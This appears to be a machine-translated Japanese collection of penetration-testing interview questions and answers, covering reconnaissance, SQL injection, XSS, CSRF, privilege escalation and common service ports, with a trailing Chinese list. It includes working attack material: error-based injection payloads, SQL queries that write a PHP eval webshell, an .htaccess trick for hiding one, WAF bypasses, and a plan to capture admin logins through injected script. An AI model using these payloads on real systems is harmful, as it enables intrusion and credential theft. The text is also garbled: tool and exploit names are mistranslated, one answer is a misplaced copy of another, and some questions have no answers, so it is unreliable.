ペネトレーションテストの面接質問集

ペネトレーションテストの面接質問集

1. 思考プロセス

1. 情報収集

a. サーバー関連情報 (実際の IP、システム タイプ、バージョン、オープン ポート、WAF など)

b. Web サイトの指紋識別 (CMS、CDN、証明書などを含む)、DNS 記録

c. Whois情報、名前、記録、電子メール、電話番号の逆引きチェック(電子メールがソーシャルワーカーのデータベースに紛失した場合、ソーシャルワーカーが準備するなど)

e. サブドメイン名収集、サイドステーション、Cセグメントなど

f. Google によるハッキング対象の検索、PDF ファイル、ミドルウェアのバージョン、脆弱なパスワードのスキャンなど。

g. Web サイトのディレクトリ構造をスキャンして、バックエンド、Web サイトのバナー、テスト ファイル、バックアップなどの機密ファイルを漏洩させます。

h. 伝送プロトコル、一般的な脆弱性、exp、github ソースコードなど。

2. 脆弱性マイニング

a. ウェブサイトを閲覧して、そのサイズ、機能、特徴などを確認してください。

b. ポート、弱いパスワード、ディレクトリなどをスキャンし、応答ポート上で rsync、ハート ブリーディング、mysql、ftp、ssh の弱いパスワードなどの脆弱性検出を実行します。

c. XSS、SQLインジェクション、アップロード、コマンドインジェクション、CSRF、Cookieセキュリティ検出、機密情報、通信データ送信、ブルートフォースクラッキング、任意ファイルアップロード、不正アクセス、不正アクセス、ディレクトリトラバーサル、ファイルインクルード、リプレイ攻撃(SMS爆撃) )、サーバーの脆弱性の検出、最後に不足しているスキャンツールの使用など。

3. 脆弱性の悪用と権限昇格

a. mysql 権限の昇格、serv-u 権限の昇格、oracle 権限の昇格

b. Windows のオーバーフロー権限昇格

c. Linux の汚れた牛、特権を昇格させるカーネルの脆弱性

4. テストデータのクリアとレポートの出力

ログとテストデータをクリーンアップして要約し
、侵入テストレポートを出力し、修復計画を添付します。

5. 再テスト

新たな脆弱性の有無を検証・発見し、レポートを出力し、アーカイブする

2. 問題点

1. ステーションをテストする場合、最初に何をすべきだと思いますか?

情報収集:
a. ドメイン名の Whois 情報を取得し、登録者のメールアドレス、名前、電話番号などを取得し、ソーシャル ワーカーのデータベースに投げ込み、パスワードが漏洩していないか確認し、漏洩したパスワードの使用を試みます。バックエンドにログインするためのパスワード。メールアドレスをキーワードとして使用して検索エンジンに入力します。検索された関連情報を使用して、他の電子メール アドレスを検索したり、よく使用されるソーシャル アカウントを取得したりできます。ソーシャルワーカーはソーシャルアカウントを見つけ出し、管理者のパスワード設定の習慣を知る可能性があります。既存の情報を使用して専用の辞書を生成します。

b. サーバーのサイド サイトとサブドメイン名サイトを照会します。一般にメイン サイトの方が難しいため、まずサイド サイトに共通の CMS またはその他の脆弱性があるかどうかを確認します。

c. サーバーのオペレーティング システムのバージョンと Web ミドルウェアをチェックして、IIS、APACHE、NGINX 解析の脆弱性などの既知の脆弱性が存在するかどうかを確認します。

d. IP を確認し、IP アドレス ポート スキャンを実行し、応答ポート上で rsync、ハート ブリーディング、mysql、ftp、ssh の弱いパスワードなどの脆弱性検出を実行します。

e. Web サイトのディレクトリ構造をスキャンして、ディレクトリが通過できるかどうか、
Web サイト情報、バックグラウンド、機密ファイルをさらに検出するための php プローブや Google ハックなどの機密ファイルが漏洩していないかどうかを確認します。

脆弱性スキャンは
、XSS、XSRF、SQL インジェクション、コード実行、コマンド実行、不正アクセス、ディレクトリ読み取り、任意のファイル読み取り、ダウンロード、ファイル インクルード、リモート コマンド実行、弱いパスワード、アップロード、エディターの脆弱性、ブルートなどの脆弱性の検出を開始します。強制クラックなど。

脆弱性の悪用:
上記の方法を使用して、WebShell またはその他の権限を取得します。

権限昇格
サーバー(Windows での mysql udf 権限昇格、serv-u 権限昇格、iis6、pr、ブラジルバーベキューなどの Windows の下位バージョンの脆弱性、Linux ダーティカウの脆弱性、Linux mysql での Linux カーネルバージョンの脆弱性権限昇格など)システム権限の昇格と Oracle の低権限の昇格

ログのクリーニング

概要レポートと修理計画

2. Web サイトの CMS の浸透率を決定する重要性は何ですか?

オンラインで公開されているプログラムの脆弱性を探します。

オープンソースの場合は、コード監査用に対応するソース コードをダウンロードすることもできます。

3. 成熟した比較的安全な CMS にとって、侵入中にディレクトリをスキャンすることにはどのような意味がありますか?

機密ファイルと二次ディレクトリのスキャン

Web マスターによる誤操作 (例: 圧縮ファイル、説明 .txt、Web サイトのバックアップの 2 番目のディレクトリ) により、他のサイトが保存される可能性があります。

4. 一般的な Web サイトサーバーコンテナ。

IIS、Apache、nginx、Lighttpd、Tomcat

5. mysql インジェクションポイントで、ツールを使用してターゲットサイトに直接文を書き込むのですが、必要な条件は何ですか?

root 権限と Web サイトへの絶対パス。

6. 現在、解析の脆弱性があることが知られているコンテナのバージョンと具体的な例。

a. IIS 6.0
/xx.asp/xx.jpg 「xx.asp」はフォルダー名です。

b. IIS 7.0/7.5 では Fast-CGI がデフォルトで有効になっており、
URL の画像アドレスの直後に /1.php を入力すると、通常の画像が php として解析されます。

c. Nginx の
バージョンは 0.8.37 以下、使用方法は IIS 7.0/7.5 と同様で、Fast-CGI がオフの場合でも使用できます。ヌルバイトコード xxx.jpg.php

d. Apache によってアップロードされたファイルの名前は、test.php.x1.x2.x3 です。Apache は右から左にサフィックスを決定します。

e. lighttpd xx.jpg/xx.php は完全ではありません。コメントに自由に追加してください。ありがとうございます。

7. ターゲット ステーションが Windows サーバーであるか Linux サーバーであるかを手動ですばやく判断するにはどうすればよいですか?

Linux では大文字と小文字が区別されますが、Windows では大文字と小文字が区別されません。

8. mysql データベース サイトでポート 80 が 1 つだけ開いているのはなぜですか?

ポートを変更しましたが、スキャンされませんでした。

サイトライブラリの分離。

ポート 3306 は一般公開されていません

9. 3389 が接続できないいくつかの状況

ポート 3389 が開いていません。
ポートは
保護と傍受のために変更されています。
イントラネット内にあります (ポート転送が必要です)。

10. 挿入時にエスケープされる文字を突破するにはどうすればよいですか?

ワイド文字インジェクションの
16 進数エンコーディングのバイパス

11. バックエンドのニュース編集インターフェイスにエディターが表示されたら、最初に何をすべきですか?

エディターの名前のバージョンを確認し、公開されている脆弱性を検索します。

12. Web シェルを取得したところ、Web サイトのルート ディレクトリに .htaccess ファイルがあることがわかりました。

実行できることはたくさんありますが、隠れたネットワーク ホースを例に挙げてみましょう

<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php

.jpg ファイルは .php ファイルに解析されます。

その他の具体的な内容については詳しく説明できませんので、ご自身で文章を検索して遊んでみてください。

13. インジェクションの脆弱性はアカウントのパスワードをチェックすることしかできませんか?

権限が広い限り、老人になるまで図書館を引きずってください。

14. セキュリティ犬は変数を追跡し、それが一文のトロイの木馬であることを突き止めるでしょうか?

これは機能コードに基づいているため、回避するのは簡単ですが、広い心を持っていれば、犬を回避して喜びに到達することができますが、これを固定すべきではありません。

15.Access がサフィックス asp のデータベース ファイルをスキャンすると、アクセスが文字化けします。ローカルで使用するにはどうすればよいですか?

Thunder 経由でダウンロードし、サフィックスを .mdb に直接変更します。

16. 権限を昇格するときは、読み取りおよび書き込み可能なディレクトリを選択してください。スペースを含むディレクトリは使用しないでください。

ほとんどの exp 実行ではパラメータを区切るためにスペースが必要になるためです。

17. 特定のサーバーにはサイト A と B があります。B のバックエンドにアクセスするためにテスト ユーザーが A のバックエンドに追加されるのはなぜですか? テスト ユーザーも追加されていることがわかりましたか?

同じデータベース。

18. 注入する場合、and、or、または xor を使用せずに直接命令して注入を開始できますか?

および/または/または、前の 1=1、1=2 ステップは、それが注入ポイントであるかどうかを判断するためのものです。すでに注入ポイントであると判断されている場合は、そのステップを保存できます。

19: 特定の抗注射システムは、注射中に次のメッセージを表示します。

システムは、あなたが違法な注入を行ったことを検出しました。
あなたの IP xx.xx.xx.xx が記録されました
時間: 2016:01-23
ページを送信: test.asp?id=15
コンテンツを送信: および 1=1

20. このアンチインジェクションシステムを使用してシェルを取得するにはどうすればよいですか?

URL に直接文章を送信すると、Web サイトはあなたの文章をデータベース ファイルに記録します。このとき、Web サイトの設定ファイルを見つけてチョッパーに直接リンクしてみてください。

21. マレーシアにアップロード後、文字化けした場合の解決策は何ですか?

ブラウザのエンコーディングを変更します。

22. アップロードポイントの要素を見直す意義は何ですか?

一部のサイトでは、アップロードされるファイルの種類の制限がフロントエンドで実装されており、この場合、アップロードの種類を追加するだけで制限が解除される可能性があります。

23. 対象サイトではユーザー登録が禁止されており、パスワードを取得する際にユーザー名を入力すると「このユーザーは存在しません」と表示されますが、これはどのように利用できると思いますか?

まずユーザー名を解読し、次に解読したユーザー名を使用してパスワードを解読します。
実際、一部のサイトではログイン時にこのようなプロンプトが表示され、
データベースと対話するすべての場所でインジェクションが行われる可能性があります。

24. ターゲットステーションは、特定のテキストのダウンロードアドレスが

http://www.test.com/down/down.php?file=/upwdown/1.txt、どんなアイデアがありますか?

これは伝説のダウンロード脆弱性です! file= の後に「index.php」と入力してホームページ ファイルをダウンロードし、ホームページ ファイル内の他の Web サイトの設定ファイルを検索し続けると、Web サイトのデータベース パスワードとデータベース アドレスがわかります。

25. A はターゲット サイトを提供し、ルート ディレクトリに /abc/ ディレクトリが存在し、このディレクトリに editor ディレクトリと admin ディレクトリが存在することを伝えます。あなたの考えは何ですか?

Web サイトの 2 番目のディレクトリ /abc/ 内の機密ファイルとディレクトリを直接スキャンします。

26. シェルがある場合に xss を使用してターゲット サイトの長期制御を実現するにはどうすればよいですか?

バックグラウンドのログイン領域に js セクションを追加して、ログイン アカウントとパスワードを記録し、ログインが成功したかどうかを確認します。ログインが成功した場合は、アカウントのパスワードを通常とは異なるパスのファイルに記録するか、自分の Web サイトに直接送信します。ファイル。(この方法は、アクセス許可の詳細な制御を必要とする貴重なネットワークに適しています)。

ログイン後にのみアクセスできるファイルに XSS スクリプトを挿入します。

27. バックグラウンドで管理者パスワードを変更すると、元のパスワードが * と表示されます。このユーザーのパスワードを読み出すにはどうすればよいと思いますか?

検査要素で、パスワードのパスワード属性をテキストに変更すると、プレーンテキストが表示されます。

28. 対象サイトは保護されていません。写真のアップロードは正常にアクセスできますが、スクリプト形式のアップロードでは403になってしまいます。原因は何でしょうか?

理由は数多くありますが、Web サーバーの構成でアップロード ディレクトリがハードコーディングされており、対応するスクリプトが実行されない可能性があります。これをバイパスするには、サフィックス名を変更してみてください。

29. 検閲要素はウェブサイトで使用されている保護ソフトウェアをどのようにして知っていると思いますか?

機密性の高い操作が傍受され、インターフェース情報からはそれがどのような保護であるかを具体的に判断することができない場合、F12 は Guardian God などの HTML 本文を調べ、名前の内容を確認できます。

30. win2003 サーバーに .zhongzi フォルダを作成する目的は何ですか?

アップロードしたツールが管理者に発見されないように、フォルダーを非表示にします。

31. SQL インジェクションには次の 2 つのテスト オプションがあります。1 つを選択し、もう 1 つを選択しない理由を説明してください。

A.demo.jsp?id=2+1
B.demo.jsp?id=2-1
Bを選択します。URLエンコードでは、+はスペースを表すため、混乱を引き起こす可能性があります。

32. 次のリンクに SQL インジェクションの脆弱性がありますが、この変更されたインジェクションについてどう思いますか?

Demon.do?DATA=AjAxNg==
DATA は Base64 エンコードされてからサーバーに渡される可能性があるため、テストを正しく完了するにはパラメーターも Base64 エンコードする必要があります。

33.demo.jsp?uid=110 インジェクションポイントが見つかりました。WebShell を取得するにはどのようなアイデアがありますか?どれが最適ですか?

書き込み権限がある場合は、INTO OUTFILE を使用して結合クエリ ステートメントを作成します。WebShell に書き込むために、クエリ出力をシステム ファイルにリダイレクトできます。sqlmap –os-shell を使用します。原理は上記と同じです。シェルを直接取得する方が効率的です。共同クエリ ステートメントを作成して Web サイト管理者のアカウントとパスワードを取得し、バックグラウンドをスキャンしてバックグラウンドにログインし、パッケージを変更してバックグラウンドでシェルをアップロードします。そしてそれをアップロードします。

34. CSRF、XSS、XXE の違いとその修正方法は何ですか?

XSS とはクロスサイトスクリプティング攻撃のことで、ユーザーが送信したデータ内にコードを構築・実行することで、ユーザー情報を窃取するなどの攻撃を実現します。修復方法: 文字エンティティをエスケープし、HTTP のみを使用して JavaScript が Cookie 値を読み取らないようにし、入力時に検証し、ブラウザーと Web アプリケーションで同じ文字エンコーディングを使用します。

CSRF はクロスサイト リクエスト フォージェリ攻撃です。XSS は CSRF を実装する多くの方法の 1 つであり、キー操作の実行時にユーザーが自発的に開始したかどうかを確認できないためです。修復方法: CSRF を防ぐ必要があるページをフィルターで除外し、トークンを埋め込み、パスワードを再度入力し、Referer XXE が XML 外部エンティティ挿入攻撃であることを確認します。XML では、エンティティを呼び出すことでローカルまたはリモートのコンテンツをリクエストできます。これはリモート ファイル保護に似ており、機密ファイルの読み取りなどの関連するセキュリティ問題を引き起こします。修正: XML 解析ライブラリは、呼び出し時に外部エンティティを解析することを厳しく禁止しています。

35. CSRF、SSRF、リプレイ攻撃の違いは何ですか?

CSRF は、クロスサイト リクエスト フォージェリ攻撃です。クライアントによって開始される SSRF は、サーバー側のリクエスト フォージェリです。サーバーによって開始されるリプレイ攻撃は、ID 認証やその他の目的を達成するために、傍受したデータ パケットを再生します。

36. ビジネス ロジックの脆弱性を少なくとも 3 つ挙げて、それらを修正する方法を教えてください。

パスワード取得の脆弱性が存在します

1) パスワードはブルートフォースクラッキングを可能にします。

2) ユニバーサル検索バウチャーがあります。

3) 検証ステップをスキップできます。

4) バウチャーを取得するには、パッケージを傍受して取得します。

など、メーカーが提供するパスワード検索機能を利用してパスワードを取得します。最も一般的な認証の脆弱性は次のとおりです。

1) セッション固定攻撃

2) クッキーの偽造

セッションまたは Cookie を取得する限り、ユーザーの ID を偽造することができます。検証コードに脆弱性があります

1) 検証コードによりブルートフォースクラッキングが可能

2) 検証コードは、JavaScript またはパッケージの変更によってバイパスできます。

37. 次の会話で問題がある可能性のある項目を丸で囲み、考えられる問題に印を付けてください。

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive

書き込み権限がある場合は、INTO OUTFILE を使用して結合クエリ ステートメントを作成します。WebShell に書き込むために、クエリ出力をシステム ファイルにリダイレクトできます。sqlmap –os-shell を使用します。原理は上記と同じです。シェルを直接取得する方が効率的です。共同クエリ ステートメントを作成して Web サイト管理者のアカウントとパスワードを取得し、バックグラウンドをスキャンしてバックグラウンドにログインし、パッケージを変更してバックグラウンドでシェルをアップロードします。そしてそれをアップロードします。

38. Web サイトがある場合、どのように侵入テストを実施しますか? 書面による許可を得るという前提の下で。

39. sqlmap、注入ポイントを注入するにはどうすればよいですか?

1) 取得モデルの場合は、直接、sqlmap -u "ポイント URL など"
2) ポイントなどの投稿タイプの場合は、sqlmap -u "注入ポイント URL" --data="postパラメータ"
3) Cookie の場合、

40. nmap、いくつかのスキャン方法

41. SQLインジェクションにはどのような種類がありますか?

1) エラー注入
2) ブール注入
3) 遅延注入
4) ワイドバイト注入

42. エラー報告のために挿入される関数は何ですか? 10

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from

43. 遅延噴射の判断方法は?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44.ブラインド注入と遅延注入の共通点は何ですか?

それはすべて文字ごとに判断されます。

45. ウェブサイトのウェブシェルを取得するにはどうすればよいですか? バックグラウンドでのアップロード、テンプレートの編集、SQL インジェクションとファイルの書き込み、コマンドの実行、コードの実行、dedecms のバックグラウンドで直接スクリプト ファイルを作成できるなど、公開されている一部の cms の脆弱性、WordPress アップロード プラグインにはスクリプト ファイルの zip パッケージが含まれるなど。

46. SQLインジェクションやファイル書き込みの機能は何ですか?

select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile  'd:\wwwroot\baidu.com\nvhack.php';

47. CSRFを防ぐにはどうすればよいですか?

1) リファラーを確認します。
2) トークンの
詳細を確認します: http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48. owasp の脆弱性は何ですか?

1) SQL インジェクション保護方法:
2) 認証とセッション管理の失敗
3) クロスサイト スクリプティング攻撃 XSS
4) 安全でないオブジェクトへの直接参照
5) セキュリティ設定エラー
6) 機密情報の漏洩
7) 機能レベルのアクセス制御の欠如
8)クロスサイト リクエスト フォージェリ CSRF
9) 既知の脆弱性を持つコンポーネントの使用
10) 未検証のリダイレクトと転送

49. SQLインジェクションの保護方法は?

1) 安全な API を使用する
2) 入力された特殊文字をエスケープする
3) ホワイトリストを使用して入力検証方法を標準化する
4) クライアントの入力を制御し、SQL インジェクションに関連する特殊文字の入力を許可しない
5) サーバー側SQL クエリのデータベースでは、特殊文字はフィルタリング、エスケープ、置換、削除されます。

50. コード実行、ファイル読み込み、コマンド実行の機能は何ですか?

1) コードの実行:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2) ファイルの読み取り:

file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

3) コマンドの実行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

51. img タグの onerror 属性以外に、管理者パスを取得する方法はありますか?

src は、リファラーを取得するためのリモート スクリプト ファイルを指定します。

52. img タグの onerror 属性に加え、src 属性のサフィックス名も .jpg で終わる必要があります 管理者パスの取得方法。

1) リモート サーバーは、Apache 構成ファイルを変更し、PHP モードで AddType application/x-httpd-php .jpg を解析するように .jpg ファイルを構成します。

53. aspx トロイの木馬が asp よりも大きな権限を持っているのはなぜですか?

aspx は .net テクノロジーを使用します。IIS ではデフォルトではサポートされておらず、ASP は単なるスクリプト言語です。侵入する場合、ASP トロイの木馬には通常ゲスト権限が与えられます。APSX トロイの木馬には通常ユーザー権限が与えられます。

54. WAFをバイパスするには?

大文字と小文字の変換方法
干渉文字 /!/
エンコーディング Base64 Unicode hex URL ascll
複合パラメータ

55. Webシェルをサーバーに書き込む方法は?

さまざまなアップロードの脆弱性
mysql には書き込み権限があり、SQL ステートメントを使用してシェル
http put メソッドを書き込みます

56. 侵入テストにおける共通ポート

a. Web クラス (Web 脆弱性/機密ディレクトリ) サードパーティの共通コンポーネントの脆弱性 struts thinkphp jboss Ganglia zabbix

80 ウェブ
80-89 ウェブ
8000-9090 ウェブ

b. データベース クラス (脆弱なパスワードのスキャン)

1433 MSSQL
1521 オラクル
3306 MySQL
5432 PostgreSQL

c. 特殊サービスカテゴリ(不正/コマンド実行カテゴリ/脆弱性)

443 SSL の心痛
873 Rsync が許可されていません
5984 CouchDB http://xxx:5984/_utils/
6379 redis が許可されていません
7001,7002 WebLogic のデフォルトの弱いパスワード、逆シーケンス
9200,9300 elasticsearch 参照 WooYun: 特定の ElasticSearch コマンドの実行を再生しますサーバー 脆弱性
11211 memcache 不正アクセス
27017、27018 Mongodb 不正アクセス
50000 SAP コマンド実行
50070、50030 hadoop デフォルト ポート不正アクセス

d. 一般的なポート カテゴリ (脆弱なパスワードのスキャン/ポート ブラスト)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra ルーティング、デフォルトのパスワード zebra
3389 リモート デスクトップ

ALL、合計ポートの詳細

21 ftp
22 SSH
23 Telnet
80 Web
80-89 Web
161 SNMP
389 LDAP
443 SSL ブリードおよび一部の Web 脆弱性テスト
445 SMB
512,513,514 Rexec
873 Rsync 未承認
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus ポート:5560 、7778)
2082/ 2083 cpanel ホスト管理システムのログイン (海外で多く使用されています)
2222 DA 仮想ホスト管理システムのログイン (海外で多く使用されています)
2601,2604 ゼブラ ルーティング、デフォルトのパスワード ゼブラ
3128 イカ プロキシのデフォルト ポート、パスワードが設定されていない場合は、可能ですイントラネット直接
3306 MySQL
3312/3311 kangle ホスト管理システムのログイン
3389 リモート デスクトップ
4440 rundeck リファレンス WooYun: Sina サービスを借りて Sina イントラネットを正常にローミングする
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish リファレンス WooYun: Varnish HTTP アクセラレータ CLI 不正なアクセスは、Web サイトの直接改ざんやプロキシとしてのイントラネットへの侵入に簡単につながる可能性があります 6379 不正な
redis
7001、7002 WebLogic のデフォルトの弱いパスワード、逆シーケンス
7778 Kloxo ホスト コントロール パネルのログイン
8000 ~ 9090 は一部の共通 Web ポート、一部の運用とメンテナンスでは、これらの 80 以外のポートで管理バックエンドを開く必要があります。
8080 Tomcat/WDCP ホスト管理システム、デフォルトの弱いパスワード
は 8080、8089、9090 です。 JBOSS 8083
Vestacp ホスト管理システム (海外で多く使用されています)
8649 Ganglia
8888 amh/LuManager ホスト管理システムのデフォルトポート
9200、9300 elasticsearch 参照 WooYun: Duowan の特定サーバー ElasticSearch コマンド実行の脆弱性
10000 Virtualmin/Webmin サーバー仮想ホスト管理システム
11211 memcache 不正アクセス
27017、27018 Mongodb 不正アクセス
28017 mongodb 統計ページ
5000 0 SAPコマンド実行
50070、50030 hadoop デフォルトポートの不正アクセス

3. 某セキュリティメーカー

了解哪些漏洞

文件上传有哪些防护方式

用什么扫描端口,目录

如何判断注入

注入有防护怎么办

有没有写过tamper

3306 1443 8080是什么端口

计算机网络从物理层到应用层xxxx

有没有web服务开发经验

如何向服务器写入webshell

有没有用过xss平台

网站渗透的流程

mysql两种提权方式(udf,?)

常见加密方式xxx

ddos如何防护

有没有抓过包,会不会写wireshark过滤规则

清理日志要清理哪些

4. SQL インジェクション保護

1. 安全な API を使用する
2. 入力された特殊文字をエスケープする
3. ホワイトリストを使用して入力検証方法を標準化する
4. クライアントの入力を制御し、SQL インジェクションに関連する特殊文字の入力を許可しない
5. サーバー側SQL クエリのデータベースでは、特殊文字はフィルタリング、エスケープ、置換、削除されます。
6. 標準エンコーディングと文字セット

5. パラメータ化されたクエリが SQL インジェクションを妨げる理由

原理:

パラメータ化されたクエリを使用する場合、データベース サーバーは SQL 命令の一部としてパラメータの内容を実行せず、データベースが SQL 命令のコンパイルを完了した後にパラメータを適用します。

簡単に言うと: パラメーター化によってインジェクションが防止される理由は、ステートメントがステートメントであり、パラメーターがパラメーターであるためです。パラメーターの値はステートメントの一部ではなく、データベースはステートメントのセマンティクスに従ってのみ実行されます。

6. SQLヘッダーインジェクションポイント

UA
リファラー
Cookie
IP

7. ブラインド ベットとは何ですか? ブラインドベットのやり方は?

ブラインドインジェクションとは、SQLインジェクション攻撃時にサーバーがエラーエコーをオフにする手法で、サーバーから返される内容の変化から単純にSQLインジェクションや悪用の有無を判断します。ブラインドインジェクションには 2 つの方法があり、1 つはページの戻り値が正しいかどうか (ブールベース) でインジェクションの有無を検証する方法です。1 つは SQL 文の処理時間の差に基づいてインジェクションの有無 (時間ベース) を判断する方法で、ベンチマークやスリープなどの遅延効果が生じる機能を使用したり、大規模な結合クエリ テーブルを構築したりすることができます。デカルト積、遅延の目的を達成します。

8. ワイドバイトインジェクションの原理と根本原因

1. 製造原理

データベースがワイド文字セットを使用しており、この問題が WEB 層で考慮されていない場合、WEB 層では、0XBF27 は 2 文字であるため、PHP では、たとえば、addslash と magic_quotes_gpc がオンになっている場合、0x27 の一重引用符は次のようになります。エスケープされるため、0xbf27 は 0xbf5c27 になります。データがデータベースに入力されると、0XBF5C は別の文字であるため、\ エスケープ記号は前の bf によって「食べられ」、一重引用符をエスケープしてステートメントを閉じるために使用できます。

2. エンコードする場所

3. 根本原因

Character_set_client (クライアントの文字セット) とcharacter_set_connection (接続層の文字セット) が異なっているか、iconv や mb_convert_encoding などの変換関数が不適切に使用されています。

4. 解決策

解析時の差異を避けるために、データベース、Web アプリケーション、およびオペレーティング システムで使用される文字セットを統一し、UTF-8 に設定することをお勧めします。または、mysql_real_escape_string+mysql_set_charset を使用するなど、データを正しくエスケープします。

5. SQLで更新のみを使用するにはどうすればよいですか?

まずはこのSQLを理解してください

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

このSQLを以下の形に修正するとインジェクションが実現します

a. ホームページの値を http://xxx.net', userlevel='3 に変更します。

次に、SQL ステートメントは次のようになります

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel はユーザーレベルです

b. パスワード値を mypass)' WHERE username='admin'# に変更します。

次に、SQL ステートメントは次のようになります

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

c. ID 値を ' OR username='admin' に変更すると、SQL ステートメントは次のようになります。

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

9. SQLでのシェルの書き方/シングルクォーテーションがフィルタリングされた場合の対処方法

シェルの書き込み: root 権限、GPC が閉じている、ファイル パスを知っている outfile 関数

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'
http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

ワイドバイトインジェクション

1. スペースの置換方法

%0a、%0b、%a0 およびその他の
/**/ およびその他のコメント文字
<>

2. MySQL Web サイト インジェクション、5.0 以上と 5.0 以下の違いは何ですか?

5.0未満ではinformation_schemaシステムテーブルが存在しないため、名前のリスト化などができず、テーブル名を暴力的に停止することしかできません。

5.0 未満はマルチユーザーの単一操作、5.0 より大きいはマルチユーザーのマルチ操作です。

10.XSS

1. XSSの原則

反射性

ユーザーが送信したデータ内でコードを構築・実行することで、ユーザー情報を盗むなどの攻撃が可能となります。攻撃を成功させるには、ユーザーをだまして悪意のあるリンクをクリックさせる必要があります。

ストレージタイプ

保存型 XSS は、ユーザーが入力したデータをサーバー側に「保存」します。この種の XSS は強力な安定性を備えています。

DOM タイプ

ページの DOM ノードを変更して形成された XSS は、DOM ベース XSS と呼ばれます。

2. DOM型とリフレクティブ型の違い

反射型 XSS: ユーザーのクリックを誘導することで構築された悪意のあるペイロードによってトリガーされる XSS。反映された XSS の検出 ペイロードを含むリンクをリクエストするたびに、ページには特定の不正なデータが含まれているはずです。DOM タイプ: ページの DOM ノードを変更することによって形成された XSS。DOM ベースの XSS は、js コードを介した DOM 操作によって生成されるため、リクエストへの応答で対応する不正なデータを取得できない場合もあります。私の考えでは、根本的な違いは出力ポイントの違いです。

3. DOM タイプと XSS の自動テストまたは手動テスト

手動テストのアイデア: document.write、innerHTML 割り当て、outerHTML 割り当て、window.location 操作などの関数ポイントを見つけ、JavaScript を記述します: post-content、eval、setTimeout、setInterval、その他の直接実行関数。その変数を見つけて、変数のソースまで遡って、それらが制御可能かどうか、またそれらが安全機能を通過するかどうかを確認します。自動テストについては、Dao 兄弟のブログを参照してください。アイデアは、入力から開始し、変数転送のプロセスを観察し、最後に危険な関数に出力があるかどうか、途中に安全な関数があるかどうかを確認することです。ただし、これには JavaScript パーサーが必要です。そうしないと、JS の実行によって取り込まれたコンテンツの一部が失われます。

この質問に答えると、通常の顧客の検出はさまざまな機能ポイントの機能に加え、経験と勘に基づいているため、さまざまな種類の XSS 検出方法の詳細な標準化は実際には行われていないため、その答えはひどいものになります。

4. XSS の場所をすばやく見つける方法

5. XSS を修復する方法に関する提案

入力ポイント チェック: ユーザーが入力したデータの有効性をチェックし、フィルターを使用して機密文字をフィルタリングするか、文字をエンコードしてエスケープし、特定の種類のデータの形式チェックを実行します。入力ポイントのチェックはサーバー側で実装するのが最適です。

出力点チェック:変数をHTMLページに出力する場合は出力内容をエンコードおよびエスケープ、HTMLで出力する場合はHTMLEncoded、JavaScriptスクリプトで出力する場合はJavaScriptEncodedとします。JavascriptEncode を使用するすべての変数は引用符で囲まれ、危険な文字はエスケープされます。データ部分は引用符から逃れることができず、コードの一部になります。より厳密な方法を使用して、英数字以外のすべての文字に 16 進エンコーディングを使用することもできます。さらに、ブラウザでは HTML 解析が Javascript 解析よりも優先され、エンコード方法も慎重に検討する必要があることに注意してください。出力ポイントが異なると、XSS に対する防御方法が異なる場合があります。後の記事で説明します。要約を作成します。

さらに、Cookie ハイジャックを制限する HTTPOnly もあります。

6. XSSワームの生成状況

通常の状況では、XSS ポイントを生成するページは自ページには属さず、ユーザー間の対話的な動作を生成するページは XSS ワームの生成の原因となる可能性があります。
保存された XSS は必ずしも必要ではありません

11.CSRF

1. CSRFの原理

CSRF はクロスサイト リクエスト フォージェリ攻撃であり、キー操作の実行時にユーザーが自発的に開始したかどうか確認できないため、クライアントによって開始されます。

2. 防御

リファラーが
トークンを追加することを確認する

3. トークンとリファラーを水平比較してどちらのセキュリティレベルが高いでしょうか?

どのサーバーもリファラーを取得できず、HTTPS から HTTP にジャンプするとリファラーは送信されないため、トークンのセキュリティ レベルは高くなります。また、リファラーは FLASH の一部のバージョンでカスタマイズできます。ただし、トークンに関しては、それが十分にランダムであり、漏洩できないことを保証する必要があります。(予測不可能性の原則)

4. どのような角度から参照者を検証する必要がありますか? もしそうなら、問題を防ぐにはどうすればよいでしょうか?

